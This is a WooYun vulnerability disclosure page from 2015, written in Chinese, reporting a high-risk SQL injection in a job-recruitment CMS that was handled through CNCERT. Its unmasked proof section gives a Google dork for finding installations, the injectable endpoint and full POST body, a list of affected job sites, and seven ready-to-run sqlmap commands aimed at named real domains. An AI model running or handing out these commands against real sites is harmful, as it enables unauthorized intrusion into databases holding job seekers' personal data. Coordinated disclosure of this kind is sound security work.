当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-090172

漏洞标题：某超大型人才招聘CMS高危SQL注入漏洞

相关厂商：cncert

漏洞作者： 路人甲

提交时间：2015-01-08 17:46

修复时间：2015-04-13 16:58

公开时间：2015-04-13 16:58

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-01-08： 细节已通知厂商并且等待厂商处理中
2015-01-13： 厂商已经确认，细节仅向厂商公开
2015-01-16： 细节向第三方安全合作伙伴开放
2015-03-09： 细节向核心白帽子及相关领域专家公开
2015-03-19： 细节向普通白帽子公开
2015-03-29： 细节向实习白帽子公开
2015-04-13： 细节向公众公开

简要描述：

某超大型人才招聘CMS高危SQL注入漏洞，基本都权3、权4及以上的

详细说明：

google dork 部分指纹：

mask 区域 
*****rch_Adv*****


注射地址：

mask 区域 
*****arch_Ad*****


Post参数存在注入：

mask 区域 
*****%A9-%B6%AB%B3%C7&industry=2&edus=10&works=2&sex=0&min_age=18&max_age=19&a*****


例举部分案例：

mask 区域 
*****^招^*****
**********
**********
*****^招^*****
**********
**********
*****^招^*****
**********
**********
**********
*****^招^*****
**********
**********
*****^招^*****
**********
**********
*****^招^*****
**********
**********
*****^招^*****
**********
**********
**********
*****^招^*****
**********
**********
**********
*****^招^*****
**********
**********
**********
*****^招^*****
**********
**********
**********
*****^招^*****
**********
**********
**********
*****^^^*****
**********
**********
**********
*****^招^*****
**********
**********
**********
*****^招^*****
**********
**********
**********
*****^招^*****
**********
**********
**********
*****^招^*****
**********
**********
*****^*****


SQLMAP例举部分案例：

mask 区域 
1.://**.**.**//www.shuobozhaopin.com/Person/Per_Search_Advance.asp" --data="slt_category=%BC%C6%CB%E3%BB%FA%C8%ED%BC%FE&slt_subcategory=%BC%C6%CB%E3%BB%FA%C8%ED%BC%FE-%C8%ED%BC%FE%B9%A4%B3%CC%CA%A6&slt_workplacearea=%B1%B1%BE%A9-&slt_workplacecity=%B1%B1%BE%A9-%B6%AB%B3%C7&industry=2&edus=10&works=2&sex=0&min_age=18&max_age=19&x_suozaidi=%C9%CF%BA%A3&x_suozaidi1=%C9%CF%BA%A3%CA%D0&publishdate=2&key=123&Submit=+%BF%AA%CA%BC%CB%D1%CB%F7+" --dbs_
**********
**********
**********
2.://**.**.**//gaobu.dgjob.cn/Person/Per_Search_Advance.asp" --data="slt_category=%BC%C6%CB%E3%BB%FA%C8%ED%BC%FE&slt_subcategory=%BC%C6%CB%E3%BB%FA%C8%ED%BC%FE-%C8%ED%BC%FE%B9%A4%B3%CC%CA%A6&slt_workplacearea=%B1%B1%BE%A9-&slt_workplacecity=%B1%B1%BE%A9-%B6%AB%B3%C7&industry=2&edus=10&works=2&sex=0&min_age=18&max_age=19&x_suozaidi=%C9%CF%BA%A3&x_suozaidi1=%C9%CF%BA%A3%CA%D0&publishdate=2&key=123&Submit=+%BF%AA%CA%BC%CB%D1%CB%F7+" --dbs_
**********
**********
**********
3.://**.**.**//www.smrc.com/Person/Per_Search_Advance.asp" --data "slt_category=%BC%C6%CB%E3%BB%FA%C8%ED%BC%FE&slt_subcategory=%BC%C6%CB%E3%BB%FA%C8%ED%BC%FE-%C8%ED%BC%FE%B9%A4%B3%CC%CA%A6&slt_workplacearea=%B1%B1%BE%A9-&slt_workplacecity=%B1%B1%BE%A9-%B6%AB%B3%C7&industry=2&edus=10&works=2&sex=0&min_age=18&max_age=19&x_suozaidi=%C9%CF%BA%A3&x_suozaidi1=%C9%CF%BA%A3%CA%D0&publishdate=2&key=123&Submit=+%BF%AA%CA%BC%CB%D1%CB%F7+" --dbs_
**********
**********
**********
4.://**.**.**//www.jobjp.cn/Person/Per_Search_Advance.asp" --data="slt_category=%BC%C6%CB%E3%BB%FA%C8%ED%BC%FE&slt_subcategory=%BC%C6%CB%E3%BB%FA%C8%ED%BC%FE-%C8%ED%BC%FE%B9%A4%B3%CC%CA%A6&slt_workplacearea=%B1%B1%BE%A9-&slt_workplacecity=%B1%B1%BE%A9-%B6%AB%B3%C7&industry=2&edus=10&works=2&sex=0&min_age=18&max_age=19&x_suozaidi=%C9%CF%BA%A3&x_suozaidi1=%C9%CF%BA%A3%CA%D0&publishdate=2&key=123&Submit=+%BF%AA%CA%BC%CB%D1%CB%F7+" --dbs_
**********
**********
**********
5.://**.**.**//www.0566job.com/Person/Per_Search_Advance.asp" --data="slt_category=%BC%C6%CB%E3%BB%FA%C8%ED%BC%FE&slt_subcategory=%BC%C6%CB%E3%BB%FA%C8%ED%BC%FE-%C8%ED%BC%FE%B9%A4%B3%CC%CA%A6&slt_workplacearea=%B1%B1%BE%A9-&slt_workplacecity=%B1%B1%BE%A9-%B6%AB%B3%C7&industry=2&edus=10&works=2&sex=0&min_age=18&max_age=19&x_suozaidi=%C9%CF%BA%A3&x_suozaidi1=%C9%CF%BA%A3%CA%D0&publishdate=2&key=123&Submit=+%BF%AA%CA%BC%CB%D1%CB%F7+" --dbs_
**********
**********
**********
6.://**.**.**//www.lsrc114.com/Person/Per_Search_Advance.asp" --data "slt_category=%BC%C6%CB%E3%BB%FA%C8%ED%BC%FE&slt_subcategory=%BC%C6%CB%E3%BB%FA%C8%ED%BC%FE-%C8%ED%BC%FE%B9%A4%B3%CC%CA%A6&slt_workplacearea=%B1%B1%BE%A9-&slt_workplacecity=%B1%B1%BE%A9-%B6%AB%B3%C7&industry=2&edus=10&works=2&sex=0&min_age=18&max_age=19&x_suozaidi=%C9%CF%BA%A3&x_suozaidi1=%C9%CF%BA%A3%CA%D0&publishdate=2&key=123&Submit=+%BF%AA%CA%BC%CB%D1%CB%F7+" --dbs_
**********
**********
**********
7.://**.**.**//www.fhclm.com/Person/Per_Search_Advance.asp" --data "slt_category=%BC%C6%CB%E3%BB%FA%C8%ED%BC%FE&slt_subcategory=%BC%C6%CB%E3%BB%FA%C8%ED%BC%FE-%C8%ED%BC%FE%B9%A4%B3%CC%CA%A6&slt_workplacearea=%B1%B1%BE%A9-&slt_workplacecity=%B1%B1%BE%A9-%B6%AB%B3%C7&industry=2&edus=10&works=2&sex=0&min_age=18&max_age=19&x_suozaidi=%C9%CF%BA%A3&x_suozaidi1=%C9%CF%BA%A3%CA%D0&publishdate=2&key=123&Submit=+%BF%AA%CA%BC%CB%D1%CB%F7+" --dbs


image.jpg

漏洞证明：

google dork 部分指纹：
inurl:Per_Search_Advance.asp
注射地址：
Person/Per_Search_Advance.asp
Post参数存在注入：
slt_category=%BC%C6%CB%E3%BB%FA%C8%ED%BC%FE&slt_subcategory=%BC%C6%CB%E3%BB%FA%C8%ED%BC%FE-%C8%ED%BC%FE%B9%A4%B3%CC%CA%A6&slt_workplacearea=%B1%B1%BE%A9-&slt_workplacecity=%B1%B1%BE%A9-%B6%AB%B3%C7&industry=2&edus=10&works=2&sex=0&min_age=18&max_age=19&x_suozaidi=%C9%CF%BA%A3&x_suozaidi1=%C9%CF%BA%A3%CA%D0&publishdate=2&key=123&Submit=+%BF%AA%CA%BC%CB%D1%CB%F7+
例举部分案例：
永安人才招聘网
东莞人才招聘网
硕博人才招聘网
三明人才招聘网
沙县人才招聘网
尤溪人才招聘网
将乐人才招聘网
大田人才招聘网
明溪人才招聘网
清流人才招聘网
建宁人才招聘网
奉化就业网
泰宁人才招聘网
宁化人才招聘网
盛泽人才招聘网
池州人才招聘网
……
SQLMAP例举部分案例：
sqlmap -u "http://www.shuobozhaopin.com/Person/Per_Search_Advance.asp" --data="slt_category=%BC%C6%CB%E3%BB%FA%C8%ED%BC%FE&slt_subcategory=%BC%C6%CB%E3%BB%FA%C8%ED%BC%FE-%C8%ED%BC%FE%B9%A4%B3%CC%CA%A6&slt_workplacearea=%B1%B1%BE%A9-&slt_workplacecity=%B1%B1%BE%A9-%B6%AB%B3%C7&industry=2&edus=10&works=2&sex=0&min_age=18&max_age=19&x_suozaidi=%C9%CF%BA%A3&x_suozaidi1=%C9%CF%BA%A3%CA%D0&publishdate=2&key=123&Submit=+%BF%AA%CA%BC%CB%D1%CB%F7+" --dbs
sqlmap -u "http://gaobu.dgjob.cn/Person/Per_Search_Advance.asp" --data="slt_category=%BC%C6%CB%E3%BB%FA%C8%ED%BC%FE&slt_subcategory=%BC%C6%CB%E3%BB%FA%C8%ED%BC%FE-%C8%ED%BC%FE%B9%A4%B3%CC%CA%A6&slt_workplacearea=%B1%B1%BE%A9-&slt_workplacecity=%B1%B1%BE%A9-%B6%AB%B3%C7&industry=2&edus=10&works=2&sex=0&min_age=18&max_age=19&x_suozaidi=%C9%CF%BA%A3&x_suozaidi1=%C9%CF%BA%A3%CA%D0&publishdate=2&key=123&Submit=+%BF%AA%CA%BC%CB%D1%CB%F7+" --dbs
sqlmap -u "http://www.smrc.com/Person/Per_Search_Advance.asp" --data "slt_category=%BC%C6%CB%E3%BB%FA%C8%ED%BC%FE&slt_subcategory=%BC%C6%CB%E3%BB%FA%C8%ED%BC%FE-%C8%ED%BC%FE%B9%A4%B3%CC%CA%A6&slt_workplacearea=%B1%B1%BE%A9-&slt_workplacecity=%B1%B1%BE%A9-%B6%AB%B3%C7&industry=2&edus=10&works=2&sex=0&min_age=18&max_age=19&x_suozaidi=%C9%CF%BA%A3&x_suozaidi1=%C9%CF%BA%A3%CA%D0&publishdate=2&key=123&Submit=+%BF%AA%CA%BC%CB%D1%CB%F7+" --dbs
sqlmap -u "http://www.jobjp.cn/Person/Per_Search_Advance.asp" --data="slt_category=%BC%C6%CB%E3%BB%FA%C8%ED%BC%FE&slt_subcategory=%BC%C6%CB%E3%BB%FA%C8%ED%BC%FE-%C8%ED%BC%FE%B9%A4%B3%CC%CA%A6&slt_workplacearea=%B1%B1%BE%A9-&slt_workplacecity=%B1%B1%BE%A9-%B6%AB%B3%C7&industry=2&edus=10&works=2&sex=0&min_age=18&max_age=19&x_suozaidi=%C9%CF%BA%A3&x_suozaidi1=%C9%CF%BA%A3%CA%D0&publishdate=2&key=123&Submit=+%BF%AA%CA%BC%CB%D1%CB%F7+" --dbs
sqlmap -u "http://www.0566job.com/Person/Per_Search_Advance.asp" --data="slt_category=%BC%C6%CB%E3%BB%FA%C8%ED%BC%FE&slt_subcategory=%BC%C6%CB%E3%BB%FA%C8%ED%BC%FE-%C8%ED%BC%FE%B9%A4%B3%CC%CA%A6&slt_workplacearea=%B1%B1%BE%A9-&slt_workplacecity=%B1%B1%BE%A9-%B6%AB%B3%C7&industry=2&edus=10&works=2&sex=0&min_age=18&max_age=19&x_suozaidi=%C9%CF%BA%A3&x_suozaidi1=%C9%CF%BA%A3%CA%D0&publishdate=2&key=123&Submit=+%BF%AA%CA%BC%CB%D1%CB%F7+" --dbs
sqlmap -u "http://www.lsrc114.com/Person/Per_Search_Advance.asp" --data "slt_category=%BC%C6%CB%E3%BB%FA%C8%ED%BC%FE&slt_subcategory=%BC%C6%CB%E3%BB%FA%C8%ED%BC%FE-%C8%ED%BC%FE%B9%A4%B3%CC%CA%A6&slt_workplacearea=%B1%B1%BE%A9-&slt_workplacecity=%B1%B1%BE%A9-%B6%AB%B3%C7&industry=2&edus=10&works=2&sex=0&min_age=18&max_age=19&x_suozaidi=%C9%CF%BA%A3&x_suozaidi1=%C9%CF%BA%A3%CA%D0&publishdate=2&key=123&Submit=+%BF%AA%CA%BC%CB%D1%CB%F7+" --dbs
sqlmap -u "http://www.fhclm.com/Person/Per_Search_Advance.asp" --data "slt_category=%BC%C6%CB%E3%BB%FA%C8%ED%BC%FE&slt_subcategory=%BC%C6%CB%E3%BB%FA%C8%ED%BC%FE-%C8%ED%BC%FE%B9%A4%B3%CC%CA%A6&slt_workplacearea=%B1%B1%BE%A9-&slt_workplacecity=%B1%B1%BE%A9-%B6%AB%B3%C7&industry=2&edus=10&works=2&sex=0&min_age=18&max_age=19&x_suozaidi=%C9%CF%BA%A3&x_suozaidi1=%C9%CF%BA%A3%CA%D0&publishdate=2&key=123&Submit=+%BF%AA%CA%BC%CB%D1%CB%F7+" --dbs

image.jpg

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：14

确认时间：2015-01-13 13:42

厂商回复：

CNVD确认所述漏洞情况，暂未建立与软件生产厂商的直接处置渠道，待认领。

最新状态：

暂无

漏洞评价：

评论